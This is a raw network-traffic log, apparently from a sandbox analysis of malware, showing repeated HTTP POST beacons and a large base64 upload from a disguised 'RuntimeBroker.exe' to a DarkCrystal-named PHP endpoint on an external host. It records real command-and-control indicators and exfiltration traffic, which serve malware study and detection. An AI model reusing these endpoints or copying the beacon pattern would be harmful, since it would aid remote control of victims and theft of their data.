Nov 9, 2024 22:22:50.530021906 CET	295	OUT	POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: b902470r.beget.tech Content-Length: 2544 Expect: 100-continue Connection: Keep-Alive
Nov 9, 2024 22:22:50.883933067 CET	2544	OUT	Data Raw: 55 56 59 52 56 58 5e 50 5d 5d 54 54 54 52 5b 51 56 51 5f 5e 5b 56 5a 5f 56 5d 5f 5c 56 5c 5c 57 5c 5c 50 55 5f 59 52 5b 5a 54 5f 5b 5b 56 54 5d 52 54 5f 45 42 5c 5a 50 5d 5d 54 5c 59 56 5f 56 5d 5e 41 5f 5d 41 51 5f 5b 53 46 57 43 52 5f 55 51 50 Data Ascii: UVYRVX^P]]TTTR[QVQ_^[VZ_V]_\V\\W\\PU_YR[ZT_[[VT]RT_EB\ZP]]T\YV_V]^A_]AQ_[SFWCR_UQP_XV_YG^PP_^QP[UYYYWXYP]_\UUU^Y__UQZYZS_XX]TT_XY_]\VUX[[Z[Q_]YURP_GUT_^YU_\TVZ_C^ZB_]_W_ZVUZ\RWYT[Z^\^]!X02)D7+&5>8Z$<!=+)8',]3Y(&X)9'Y&%[(
Nov 9, 2024 22:22:51.441839933 CET	25	IN	HTTP/1.1 100 Continue
Nov 9, 2024 22:22:51.490286112 CET	225	IN	HTTP/1.1 200 OK Server: nginx-reuseport/1.21.1 Date: Sat, 09 Nov 2024 21:22:51 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Keep-Alive: timeout=30 X-Powered-By: PHP/7.4.33 Data Raw: 31 52 5a 56 Data Ascii: 1RZV

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.4	49774	185.50.25.59	80	7732	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Nov 9, 2024 22:22:51.621032953 CET	295	OUT	POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: b902470r.beget.tech Content-Length: 2544 Expect: 100-continue Connection: Keep-Alive
Nov 9, 2024 22:22:51.977505922 CET	2544	OUT	Data Raw: 55 53 59 52 56 5e 5e 57 5d 5d 54 54 54 5d 5b 5a 56 58 5f 5f 5b 52 5a 5d 56 5d 5f 5c 56 5c 5c 57 5c 5c 50 55 5f 59 52 5b 5a 54 5f 5b 5b 56 54 5d 52 54 5f 45 42 5c 5a 50 5d 5d 54 5c 59 56 5f 56 5d 5e 41 5f 5d 41 51 5f 5b 53 46 57 43 52 5f 55 51 50 Data Ascii: USYRV^^W]]TTT][ZVX__[RZ]V]_\V\\W\\PU_YR[ZT_[[VT]RT_EB\ZP]]T\YV_V]^A_]AQ_[SFWCR_UQP_XV_YG^PP_^QP[UYYYWXYP]_\UUU^Y__UQZYZS_XX]TT_XY_]\VUX[[Z[Q_]YURP_GUT_^YU_\TVZ_C^ZB_]_W_ZVUZ\RWYT[Z^\^]!X326785[5/$#X =#&6?3<#[<+D$>59?'Y&%[(
Nov 9, 2024 22:22:52.541874886 CET	25	IN	HTTP/1.1 100 Continue
Nov 9, 2024 22:22:52.604492903 CET	225	IN	HTTP/1.1 200 OK Server: nginx-reuseport/1.21.1 Date: Sat, 09 Nov 2024 21:22:52 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Keep-Alive: timeout=30 X-Powered-By: PHP/7.4.33 Data Raw: 31 52 5a 56 Data Ascii: 1RZV

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.4	49775	185.50.25.59	80	7732	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Nov 9, 2024 22:22:51.686372042 CET	295	OUT	POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: b902470r.beget.tech Content-Length: 2220 Expect: 100-continue Connection: Keep-Alive
Nov 9, 2024 22:22:52.039973021 CET	2220	OUT	Data Raw: 55 54 5c 5d 56 58 5b 57 5d 5d 54 54 54 57 5b 54 56 59 5f 5c 5b 57 5a 58 56 5d 5f 5c 56 5c 5c 57 5c 5c 50 55 5f 59 52 5b 5a 54 5f 5b 5b 56 54 5d 52 54 5f 45 42 5c 5a 50 5d 5d 54 5c 59 56 5f 56 5d 5e 41 5f 5d 41 51 5f 5b 53 46 57 43 52 5f 55 51 50 Data Ascii: UT\]VX[W]]TTTW[TVY_\[WZXV]_\V\\W\\PU_YR[ZT_[[VT]RT_EB\ZP]]T\YV_V]^A_]AQ_[SFWCR_UQP_XV_YG^PP_^QP[UYYYWXYP]_\UUU^Y__UQZYZS_XX]TT_XY_]\VUX[[Z[Q_]YURP_GUT_^YU_\TVZ_C^ZB_]_W_ZVUZ\RWYT[Z^\^]"'1E#(X!>4]3<'_ X'=<'%$\'?#Z+3E2*[:?'Y&%[(
Nov 9, 2024 22:22:52.608230114 CET	25	IN	HTTP/1.1 100 Continue
Nov 9, 2024 22:22:52.659358978 CET	398	IN	HTTP/1.1 200 OK Server: nginx-reuseport/1.21.1 Date: Sat, 09 Nov 2024 21:22:52 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 152 Connection: keep-alive Keep-Alive: timeout=30 Vary: Accept-Encoding X-Powered-By: PHP/7.4.33 Data Raw: 03 1a 23 58 28 14 03 55 20 2a 2e 1e 3e 0f 25 51 2a 2d 3d 59 26 20 2f 04 2a 2f 25 1b 2b 2d 38 0d 21 5b 2e 59 33 2f 29 58 21 0f 28 1e 25 1a 2b 5a 01 1c 25 07 3e 3e 24 51 32 3b 36 1d 33 37 29 5c 20 2c 23 5d 32 1d 2b 12 26 22 21 52 3d 0d 33 0b 2c 0f 3a 02 3c 00 38 19 27 31 31 0a 20 25 2a 55 03 12 20 09 29 3e 33 55 31 03 20 0f 29 22 27 02 21 2e 0e 00 36 05 38 12 27 28 2c 06 3b 0a 38 5a 33 0a 24 04 2b 22 3c 04 37 02 03 55 24 2a 23 50 2d 0d 23 48 05 3f 5c 56 Data Ascii: #X(U .>%Q-=Y& //%+-8![.Y3/)X!(%+Z%>>$Q2;637)\ ,#]2+&"!R=3,:<8'11 %U )>3U1 )"'!.68'(,;8Z3$+"<7U$*#P-#H?\V

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.4	49776	185.50.25.59	80	7732	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Nov 9, 2024 22:22:52.975327969 CET	271	OUT	POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: b902470r.beget.tech Content-Length: 2544 Expect: 100-continue
Nov 9, 2024 22:22:53.321777105 CET	2544	OUT	Data Raw: 55 55 59 5b 56 59 5b 51 5d 5d 54 54 54 54 5b 50 56 5b 5f 5b 5b 57 5a 59 56 5d 5f 5c 56 5c 5c 57 5c 5c 50 55 5f 59 52 5b 5a 54 5f 5b 5b 56 54 5d 52 54 5f 45 42 5c 5a 50 5d 5d 54 5c 59 56 5f 56 5d 5e 41 5f 5d 41 51 5f 5b 53 46 57 43 52 5f 55 51 50 Data Ascii: UUY[VY[Q]]TTTT[PV[_[[WZYV]_\V\\W\\PU_YR[ZT_[[VT]RT_EB\ZP]]T\YV_V]^A_]AQ_[SFWCR_UQP_XV_YG^PP_^QP[UYYYWXYP]_\UUU^Y__UQZYZS_XX]TT_XY_]\VUX[[Z[Q_]YURP_GUT_^YU_\TVZ_C^ZB_]_W_ZVUZ\RWYT[Z^\^]"$!@ _!-([3Z4!.+>?X0&#$/#Y<726[9'Y&%[(,
Nov 9, 2024 22:22:53.894418001 CET	25	IN	HTTP/1.1 100 Continue
Nov 9, 2024 22:22:53.952702999 CET	225	IN	HTTP/1.1 200 OK Server: nginx-reuseport/1.21.1 Date: Sat, 09 Nov 2024 21:22:53 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Keep-Alive: timeout=30 X-Powered-By: PHP/7.4.33 Data Raw: 31 52 5a 56 Data Ascii: 1RZV

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.4	49777	185.50.25.59	80	7732	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Nov 9, 2024 22:22:53.251466990 CET	294	OUT	POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: b902470r.beget.tech Content-Length: 540 Expect: 100-continue Connection: Keep-Alive
Nov 9, 2024 22:22:53.603353977 CET	540	OUT	Data Raw: 55 57 5c 5f 53 58 5e 56 5d 5d 54 54 54 53 5b 51 56 58 5f 5c 5b 50 5a 5d 56 5d 5f 5c 56 5c 5c 57 5c 5c 50 55 5f 59 52 5b 5a 54 5f 5b 5b 56 54 5d 52 54 5f 45 42 5c 5a 50 5d 5d 54 5c 59 56 5f 56 5d 5e 41 5f 5d 41 51 5f 5b 53 46 57 43 52 5f 55 51 50 Data Ascii: UW\_SX^V]]TTTS[QVX_\[PZ]V]_\V\\W\\PU_YR[ZT_[[VT]RT_EB\ZP]]T\YV_V]^A_]AQ_[SFWCR_UQP_XV_YG^PP_^QP[UYYYWXYP]_\UUU^Y__UQZYZS_XX]TT_XY_]\VUX[[Z[Q_]YURP_GUT_^YU_\TVZ_C^ZB_]_W_ZVUZ\RWYT[Z^\^]!]%"#=Z6+$?< >7>7Z3%<X$#(+&-,?'Y&%[(0
Nov 9, 2024 22:22:54.180047035 CET	25	IN	HTTP/1.1 100 Continue
Nov 9, 2024 22:22:54.235229015 CET	225	IN	HTTP/1.1 200 OK Server: nginx-reuseport/1.21.1 Date: Sat, 09 Nov 2024 21:22:54 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Keep-Alive: timeout=30 X-Powered-By: PHP/7.4.33 Data Raw: 31 52 5a 56 Data Ascii: 1RZV
Nov 9, 2024 22:22:54.239329100 CET	317	OUT	POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----i2e5cwrhMdNniYTuRS0m1y4wBI7uxoL9RV User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: b902470r.beget.tech Content-Length: 176694 Expect: 100-continue
Nov 9, 2024 22:22:54.527513981 CET	25	IN	HTTP/1.1 100 Continue
Nov 9, 2024 22:22:54.531548977 CET	12360	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 69 32 65 35 63 77 72 68 4d 64 4e 6e 69 59 54 75 52 53 30 6d 31 79 34 77 42 49 37 75 78 6f 4c 39 52 56 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 30 22 Data Ascii: ------i2e5cwrhMdNniYTuRS0m1y4wBI7uxoL9RVContent-Disposition: form-data; name="0"Content-Type: text/plainUS\ZS]^Q]]TTT\[UV\_Y[\Z_V]_\V\\W\\PU_YR[ZT_[[VT]RT_EB\ZP]]T\YV_V]^A_]AQ_[SFWCR_UQP_XV_YG^PP_^QP[UYYYWXYP]_\UUU^Y__UQZYZS_XX]TT_XY_]
Nov 9, 2024 22:22:54.536464930 CET	4944	OUT	Data Raw: 4d 57 30 72 57 43 74 31 64 54 56 61 53 6b 49 32 4f 57 46 55 59 55 39 34 63 44 6c 32 52 57 73 32 55 57 73 7a 62 48 42 44 4f 58 68 6b 52 7a 42 6e 61 6d 31 61 64 7a 42 7a 64 55 5a 50 4d 47 4a 56 53 55 67 7a 62 44 56 4b 53 46 64 78 56 56 59 35 59 6e Data Ascii: MW0rWCt1dTVaSkI2OWFUYU94cDl2RWs2UWszbHBDOXhkRzBnam1adzBzdUZPMGJVSUgzbDVKSFdxVVY5YnlxaFdlTGNRZHlianVRZzR3Y2dEUDBKcm9qWHBPWHM0dlZITFBEVjFEMnNsbytwWUtta3hTcTRZWlVnajJOT0xjYzFzYytveWlwMGdTUm9JaGMycVhkeXU2M3RIZGhMS08yTUtWRzdzR1lFL2lNMVpaRmgwVzAxWm1
Nov 9, 2024 22:22:54.536487103 CET	4944	OUT	Data Raw: 62 55 63 7a 64 48 70 61 63 32 77 7a 52 45 6b 72 53 53 39 4e 57 6d 78 6b 51 32 6c 30 61 7a 64 59 64 31 45 79 4d 32 74 6b 56 47 35 71 57 6b 56 4e 57 43 39 42 52 48 6c 55 4c 33 5a 72 56 58 4a 33 65 48 6c 45 52 48 68 78 64 7a 6c 34 56 56 56 7a 62 32 Data Ascii: bUczdHpac2wzREkrSS9NWmxkQ2l0azdYd1EyM2tkVG5qWkVNWC9BRHlUL3ZrVXJ3eHlERHhxdzl4VVVzb2pUYWFscXY4QUszNUZWczlsVlhMS0N0L3diL21aMTIwT3A2bk5CcUZ4RGFOYTNyM0ZySzhuMmlHZUpralRETkR2dytJMVBBSTVJT01ETWNVT25YZHN0bXVvMmtMVytwVFRiWklwZ0pVYU9KUVZLeHNPcU45N0I2Y0N
Nov 9, 2024 22:22:54.536649942 CET	9888	OUT	Data Raw: 4c 7a 67 76 53 57 5a 6d 54 43 38 31 52 54 64 44 61 58 56 52 56 46 68 4d 4f 56 68 43 54 58 64 6a 52 43 74 46 63 55 31 49 4f 48 45 32 56 33 64 32 52 6e 5a 79 57 6c 70 57 52 30 51 77 57 6d 5a 52 4d 54 4d 30 53 45 34 34 55 47 70 61 54 30 5a 50 4e 6d Data Ascii: LzgvSWZmTC81RTdDaXVRVFhMOVhCTXdjRCtFcU1IOHE2V3d2RnZyWlpWR0QwWmZRMTM0SE44UGpaT0ZPNmE2UDhBcG5qNXh3empzcGdxdGV6aTlMeGJkbjUzU1phb29vcjB6NTRLRFJSUUFVZDYxbThOYXVqRldzeUdIWXlML2pRUERPcm5wYWYrUlUveHJpL3RQQmY4L28vK0JML003UDdPeG4vUHFYL2dML3lNbWl0Z2VGdGF
Nov 9, 2024 22:22:54.536679029 CET	2472	OUT	Data Raw: 65 46 64 43 62 7a 52 70 63 44 64 53 65 6e 52 6d 4d 46 42 61 64 31 64 61 56 6a 68 4d 55 7a 6c 75 52 32 35 6b 53 79 39 6a 4f 57 4d 76 4e 46 52 6d 64 7a 63 76 64 30 4a 43 52 43 39 35 51 6b 6f 76 4f 45 46 46 4d 47 59 34 53 6e 59 30 5a 43 39 33 51 32 Data Ascii: eFdCbzRpcDdSenRmMFBad1daVjhMUzluR25kSy9jOWMvNFRmdzcvd0JCRC95QkovOEFFMGY4SnY0ZC93Q2doLzVBay84QWlhOGthMnVWc3hlTmEzQXRUMG5NTGVXZWNmZXhqcjcwMk9HZWEzbHVJYmVlV0NIUG15eHhNeUpnWk9TQmdjZXRjMzlrVUxYOXArUjFmMjVpYjI5bHY2bm9uaW54VG8ycGVHN3UwdEx6eko1Tm0xZkt
Nov 9, 2024 22:22:54.536751986 CET	2472	OUT	Data Raw: 4d 30 77 33 5a 32 6f 72 53 32 39 73 4d 48 68 4d 5a 54 56 58 4e 6e 4e 77 4e 54 64 54 4e 46 68 50 4d 6c 64 44 55 57 39 35 4e 55 64 45 5a 32 70 43 63 47 74 6c 61 56 64 54 55 58 52 46 4d 47 55 76 5a 57 4e 7a 56 44 46 4b 63 6e 64 75 62 47 78 57 65 56 Data Ascii: M0w3Z2orS29sMHhMZTVXNnNwNTdTNFhPMldDUW95NUdEZ2pCcGtlaVdTUXRFMGUvZWNzVDFKcndubGxWeVh2YUpMOEwvd0NaOUxIT3FFWVAzVzNKL25iL0FDSUxHenY5Y3N0UEZnbDFjV2RzWjF1b3JaQzdSM0psYzczVVpJeW13Qmp4aGNkcWRjWE0xdjRkMUNSSGxtdnJKemFXc3hPZHEzRzRzY2pxVjJTWS93Q3VwUGFwdjd
Nov 9, 2024 22:22:54.541440010 CET	14832	OUT	Data Raw: 56 58 5a 68 59 33 59 33 65 6d 5a 35 55 45 6c 78 4b 33 6b 31 64 6a 4e 57 4e 32 56 5a 4d 55 64 68 4d 30 39 49 62 6c 64 4c 56 7a 68 72 4f 48 5a 54 65 6b 74 6f 53 56 4d 33 51 32 74 44 55 55 68 4a 51 55 46 35 52 6e 6c 6a 61 6d 4d 32 62 69 74 42 4d 56 Data Ascii: VXZhY3Y3emZ5UElxK3k1djNWN2VZMUdhM09IbldLVzhrOHZTektoSVM3Q2tDUUhJQUF5RnljamM2bitBMVR0OUQxcXowQ043YlM5Vk43cUN0QzBxV2pzTGFFSEVoSkNuRE9RVjlkdTcrOEtrbDA2MW1rTWtrWVpqM05WMDBPeWlZc2lNcFBmTmViV3dGV2RTVWxKV2x2NkwrdFQxNkdaMGFkS01IRjNqdDZ2L0xvUWEzSGNSK0Z
Nov 9, 2024 22:22:54.541487932 CET	4944	OUT	Data Raw: 63 44 45 78 4e 54 4a 75 65 57 5a 69 56 30 6f 77 4d 30 67 79 52 55 31 76 53 57 64 33 4d 6a 52 5a 52 30 39 6d 62 54 55 31 65 6a 5a 6b 53 32 46 33 5a 55 78 30 64 6a 59 76 62 6d 59 31 4d 69 39 4e 57 44 6c 76 57 55 51 72 57 44 41 77 4d 6a 5a 58 4b 31 Data Ascii: cDExNTJueWZiV0owM0gyRU1vSWd3MjRZR09mbTU1ejZkS2F3ZUx0djYvbmY1Mi9NWDlvWUQrWDAwMjZXK1YzK0E3U2RabDFhV0JyMjJzMGFMWExTM1JvYmRJeExISzdCbzJWUUZQQzV5Um5xT2xOazFOcFYxV1I3blNienliRjNpYXl0ZkpFYmVmRXZJTVNmTmdubm52elNTMkY5Y1QyczhsMURISmFUaTVnVzN0bzRVV1VZTzh
Nov 9, 2024 22:22:54.541579008 CET	14832	OUT	Data Raw: 4e 45 68 75 5a 30 38 31 4c 30 56 6e 4c 7a 46 79 5a 44 41 32 53 48 63 35 4e 47 6c 30 57 6b 70 6b 55 44 41 79 4d 32 64 31 62 32 68 31 62 48 52 74 61 56 55 34 5a 58 46 75 53 45 6c 77 4e 48 70 4c 54 56 70 6f 59 56 42 30 62 6b 4d 32 56 7a 6c 6f 56 57 Data Ascii: NEhuZ081L0VnLzFyZDA2SHc5NGl0WkpkUDAyM2d1b2h1bHRtaVU4ZXFuSElwNHpLTVpoYVB0bkM2VzloVWVLTUpXcWNrVXp6V0c1TVpBYmxmNVZlQkJHUlhjZjJYcDMvUGhhLzhBZmxmOEs1L1g3R08xdUk1SUkxU09RWTJxTUFFVjJjTWNRZTJyTEJWT3Z3Mzh1bjNIeG5HV1cwS2tQcitIaHl5KzEyZCt2cmZmdVk5RkhlbHI
Nov 9, 2024 22:22:55.389385939 CET	225	IN	HTTP/1.1 200 OK Server: nginx-reuseport/1.21.1 Date: Sat, 09 Nov 2024 21:22:55 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Keep-Alive: timeout=30 X-Powered-By: PHP/7.4.33 Data Raw: 31 52 5a 56 Data Ascii: 1RZV

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.4	49778	185.50.25.59	80	7732	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Nov 9, 2024 22:22:54.073946953 CET	295	OUT	POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: b902470r.beget.tech Content-Length: 2544 Expect: 100-continue Connection: Keep-Alive
Nov 9, 2024 22:22:54.430725098 CET	2544	OUT	Data Raw: 50 55 59 5e 56 5b 5e 57 5d 5d 54 54 54 56 5b 51 56 59 5f 52 5b 53 5a 5e 56 5d 5f 5c 56 5c 5c 57 5c 5c 50 55 5f 59 52 5b 5a 54 5f 5b 5b 56 54 5d 52 54 5f 45 42 5c 5a 50 5d 5d 54 5c 59 56 5f 56 5d 5e 41 5f 5d 41 51 5f 5b 53 46 57 43 52 5f 55 51 50 Data Ascii: PUY^V[^W]]TTTV[QVY_R[SZ^V]_\V\\W\\PU_YR[ZT_[[VT]RT_EB\ZP]]T\YV_V]^A_]AQ_[SFWCR_UQP_XV_YG^PP_^QP[UYYYWXYP]_\UUU^Y__UQZYZS_XX]TT_XY_]\VUX[[Z[Q_]YURP_GUT_^YU_\TVZ_C^ZB_]_W_ZVUZ\RWYT[Z^\^]"'2"8"?$<Y#4X+($$3+_(4%X[-'Y&%[($
Nov 9, 2024 22:22:55.005197048 CET	25	IN	HTTP/1.1 100 Continue
Nov 9, 2024 22:22:55.068075895 CET	225	IN	HTTP/1.1 200 OK Server: nginx-reuseport/1.21.1 Date: Sat, 09 Nov 2024 21:22:54 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Keep-Alive: timeout=30 X-Powered-By: PHP/7.4.33 Data Raw: 31 52 5a 56 Data Ascii: 1RZV

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.4	49779	185.50.25.59	80	7732	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Nov 9, 2024 22:22:55.235168934 CET	271	OUT	POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: b902470r.beget.tech Content-Length: 2544 Expect: 100-continue
Nov 9, 2024 22:22:55.590396881 CET	2544	OUT	Data Raw: 50 50 5c 5d 53 58 5e 51 5d 5d 54 54 54 5d 5b 53 56 5e 5f 5c 5b 54 5a 5b 56 5d 5f 5c 56 5c 5c 57 5c 5c 50 55 5f 59 52 5b 5a 54 5f 5b 5b 56 54 5d 52 54 5f 45 42 5c 5a 50 5d 5d 54 5c 59 56 5f 56 5d 5e 41 5f 5d 41 51 5f 5b 53 46 57 43 52 5f 55 51 50 Data Ascii: PP\]SX^Q]]TTT][SV^_\[TZ[V]_\V\\W\\PU_YR[ZT_[[VT]RT_EB\ZP]]T\YV_V]^A_]AQ_[SFWCR_UQP_XV_YG^PP_^QP[UYYYWXYP]_\UUU^Y__UQZYZS_XX]TT_XY_]\VUX[[Z[Q_]YURP_GUT_^YU_\TVZ_C^ZB_]_W_ZVUZ\RWYT[Z^\^]"'1>7!.;0,, >/)$6/%//Y+($>),?'Y&%[(
Nov 9, 2024 22:22:56.157639027 CET	25	IN	HTTP/1.1 100 Continue
Nov 9, 2024 22:22:56.209500074 CET	225	IN	HTTP/1.1 200 OK Server: nginx-reuseport/1.21.1 Date: Sat, 09 Nov 2024 21:22:56 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Keep-Alive: timeout=30 X-Powered-By: PHP/7.4.33 Data Raw: 31 52 5a 56 Data Ascii: 1RZV

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.4	49780	185.50.25.59	80	7732	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Nov 9, 2024 22:22:56.535885096 CET	271	OUT	POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: b902470r.beget.tech Content-Length: 2544 Expect: 100-continue
Nov 9, 2024 22:22:56.883826017 CET	2544	OUT	Data Raw: 55 51 59 58 56 5c 5b 51 5d 5d 54 54 54 50 5b 56 56 5d 5f 58 5b 51 5a 5e 56 5d 5f 5c 56 5c 5c 57 5c 5c 50 55 5f 59 52 5b 5a 54 5f 5b 5b 56 54 5d 52 54 5f 45 42 5c 5a 50 5d 5d 54 5c 59 56 5f 56 5d 5e 41 5f 5d 41 51 5f 5b 53 46 57 43 52 5f 55 51 50 Data Ascii: UQYXV\[Q]]TTTP[VV]_X[QZ^V]_\V\\W\\PU_YR[ZT_[[VT]RT_EB\ZP]]T\YV_V]^A_]AQ_[SFWCR_UQP_XV_YG^PP_^QP[UYYYWXYP]_\UUU^Y__UQZYZS_XX]TT_XY_]\VUX[[Z[Q_]YURP_GUT_^YU_\TVZ_C^ZB_]_W_ZVUZ\RWYT[Z^\^]"0"@78!/0<'X4.8_>+'35<Y0/((+A&X9'Y&%[(<
Nov 9, 2024 22:22:57.482218027 CET	25	IN	HTTP/1.1 100 Continue
Nov 9, 2024 22:22:57.536024094 CET	225	IN	HTTP/1.1 200 OK Server: nginx-reuseport/1.21.1 Date: Sat, 09 Nov 2024 21:22:57 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Keep-Alive: timeout=30 X-Powered-By: PHP/7.4.33 Data Raw: 31 52 5a 56 Data Ascii: 1RZV

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.4	49781	185.50.25.59	80	7732	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Nov 9, 2024 22:22:57.673566103 CET	295	OUT	POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: b902470r.beget.tech Content-Length: 2544 Expect: 100-continue Connection: Keep-Alive
Nov 9, 2024 22:22:58.024389982 CET	2544	OUT	Data Raw: 55 57 59 58 56 57 5b 56 5d 5d 54 54 54 56 5b 53 56 50 5f 58 5b 56 5a 5f 56 5d 5f 5c 56 5c 5c 57 5c 5c 50 55 5f 59 52 5b 5a 54 5f 5b 5b 56 54 5d 52 54 5f 45 42 5c 5a 50 5d 5d 54 5c 59 56 5f 56 5d 5e 41 5f 5d 41 51 5f 5b 53 46 57 43 52 5f 55 51 50 Data Ascii: UWYXVW[V]]TTTV[SVP_X[VZ_V]_\V\\W\\PU_YR[ZT_[[VT]RT_EB\ZP]]T\YV_V]^A_]AQ_[SFWCR_UQP_XV_YG^PP_^QP[UYYYWXYP]_\UUU^Y__UQZYZS_XX]TT_XY_]\VUX[[Z[Q_]YURP_GUT_^YU_\TVZ_C^ZB_]_W_ZVUZ\RWYT[Z^\^]"015 =Z#=4Y0<<4-?)(3%8]30)(1*^./'Y&%[($
Nov 9, 2024 22:22:58.630207062 CET	25	IN	HTTP/1.1 100 Continue
Nov 9, 2024 22:22:58.677486897 CET	225	IN	HTTP/1.1 200 OK Server: nginx-reuseport/1.21.1 Date: Sat, 09 Nov 2024 21:22:58 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Keep-Alive: timeout=30 X-Powered-By: PHP/7.4.33 Data Raw: 31 52 5a 56 Data Ascii: 1RZV

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.4	49782	185.50.25.59	80	7732	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Nov 9, 2024 22:22:57.689892054 CET	295	OUT	POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: b902470r.beget.tech Content-Length: 2220 Expect: 100-continue Connection: Keep-Alive
Nov 9, 2024 22:22:58.039937973 CET	2220	OUT	Data Raw: 55 57 59 5e 56 5f 5b 56 5d 5d 54 54 54 54 5b 53 56 5b 5f 59 5b 54 5a 59 56 5d 5f 5c 56 5c 5c 57 5c 5c 50 55 5f 59 52 5b 5a 54 5f 5b 5b 56 54 5d 52 54 5f 45 42 5c 5a 50 5d 5d 54 5c 59 56 5f 56 5d 5e 41 5f 5d 41 51 5f 5b 53 46 57 43 52 5f 55 51 50 Data Ascii: UWY^V_[V]]TTTT[SV[_Y[TZYV]_\V\\W\\PU_YR[ZT_[[VT]RT_EB\ZP]]T\YV_V]^A_]AQ_[SFWCR_UQP_XV_YG^PP_^QP[UYYYWXYP]_\UUU^Y__UQZYZS_XX]TT_XY_]\VUX[[Z[Q_]YURP_GUT_^YU_\TVZ_C^ZB_]_W_ZVUZ\RWYT[Z^\^]!Y3E4;)6>3Z7Y ='*;&5Z$??_+^?D2X&.'Y&%[(,
Nov 9, 2024 22:22:58.618782043 CET	25	IN	HTTP/1.1 100 Continue
